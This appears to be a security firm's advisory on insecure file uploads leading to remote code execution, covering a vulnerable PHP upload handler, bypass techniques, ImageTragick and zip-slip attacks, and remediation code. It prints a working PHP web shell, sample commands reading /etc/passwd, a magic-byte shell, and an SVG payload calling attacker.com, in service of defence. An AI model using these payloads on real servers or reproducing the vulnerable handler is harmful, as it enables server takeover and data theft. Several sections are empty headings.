File Upload RCE

How insecure file upload validation led to remote code execution on production servers.

Overview

File upload functionality is one of the most critical areas in web applications. When implemented insecurely, it can allow attackers to upload malicious files—including web shells, reverse shells, and malware—leading to complete server compromise through Remote Code Execution (RCE).

Type: Unrestricted File Upload / RCE
Affected: Web applications with file upload features
Impact: Complete server compromise, data theft, lateral movement
CVSS: 9.8 (Critical)

The Vulnerability

During our security assessments, we discovered multiple applications that failed to properly validate uploaded files. Attackers could bypass client-side validation and upload server-side scripts (PHP, ASP, JSP) that would execute when accessed.

Technical Details

The vulnerable applications relied on:

// Vulnerable PHP upload handling <?php $target_dir = "uploads/"; $target_file = $target_dir . basename($_FILES["file"]["name"]); // Only checking file size and basic type if ($_FILES["file"]["size"] < 500000) { if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) { echo "File uploaded successfully"; } } ?>

Attack Scenario

An attacker could:

// Simple PHP web shell (shell.php) <?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?> // Attacker accesses: // https://victim.com/uploads/shell.php?cmd=ls -la // https://victim.com/uploads/shell.php?cmd=cat /etc/passwd // https://victim.com/uploads/shell.php?cmd=whoami

Real-World Impact

Common Bypass Techniques

1. Extension Bypass

// Double extensions shell.php.jpg shell.php;.jpg shell.php%00.jpg // Case manipulation shell.PhP shell.pHP5 shell.phtml // Alternative extensions .php5, .phtml, .php7, .phar, .inc

2. Content-Type Spoofing

// Intercept request and modify Content-Type: application/php → Content-Type: image/jpeg Content-Type: application/x-php → Content-Type: image/png

3. Magic Byte Injection

// Add image headers to bypass magic byte validation GIF89a; <?php system($_GET['cmd']); ?> // Or use polyglot files (valid image + valid PHP)

Advanced Attacks

ImageTragick (CVE-2016-3714)

When ImageMagick processes malicious images, it can execute arbitrary code:

// Malicious SVG file <?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg width="640px" height="480px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <image xlink:href="https://attacker.com/malicious.jpg|id" /> </svg>

Zip Slip (Directory Traversal via Zip)

Malicious zip files containing path traversal (../../../etc/passwd) can overwrite system files:

// Creating malicious zip ln -s /etc/passwd evil.txt zip --symlinks malicious.zip evil.txt

Case Study: WordPress Plugin Vulnerability

During our research, we discovered a critical vulnerability in a popular WordPress file upload plugin with over 100,000 installations. The plugin:

Attackers could upload PHP shells and gain complete control of WordPress sites. The vulnerability was patched after responsible disclosure.

Root Causes

Remediation

1. Validate Thoroughly

// Secure PHP upload validation $allowed_extensions = ['jpg', 'jpeg', 'png', 'gif']; $extension = strtolower(pathinfo($_FILES["file"]["name"], PATHINFO_EXTENSION)); if (!in_array($extension, $allowed_extensions)) { die("Invalid file type"); } // Verify actual image content if (!getimagesize($_FILES["file"]["tmp_name"])) { die("Not a valid image"); }

2. Store Files Safely

// Secure file storage $upload_dir = "/var/www/uploads/"; // Outside web root $new_filename = uniqid() . '_' . bin2hex(random_bytes(16)) . '.' . $extension; $destination = $upload_dir . $new_filename; // Move file outside web root move_uploaded_file($_FILES["file"]["tmp_name"], $destination);

3. Prevent Execution

# .htaccess for upload directories <FilesMatch "\.(php|php5|phtml|phar|inc)$"> Order Deny,Allow Deny from all </FilesMatch> # Disable PHP engine php_flag engine off

4. Scan Content

Defense in Depth Checklist

Timeline

Test your file upload security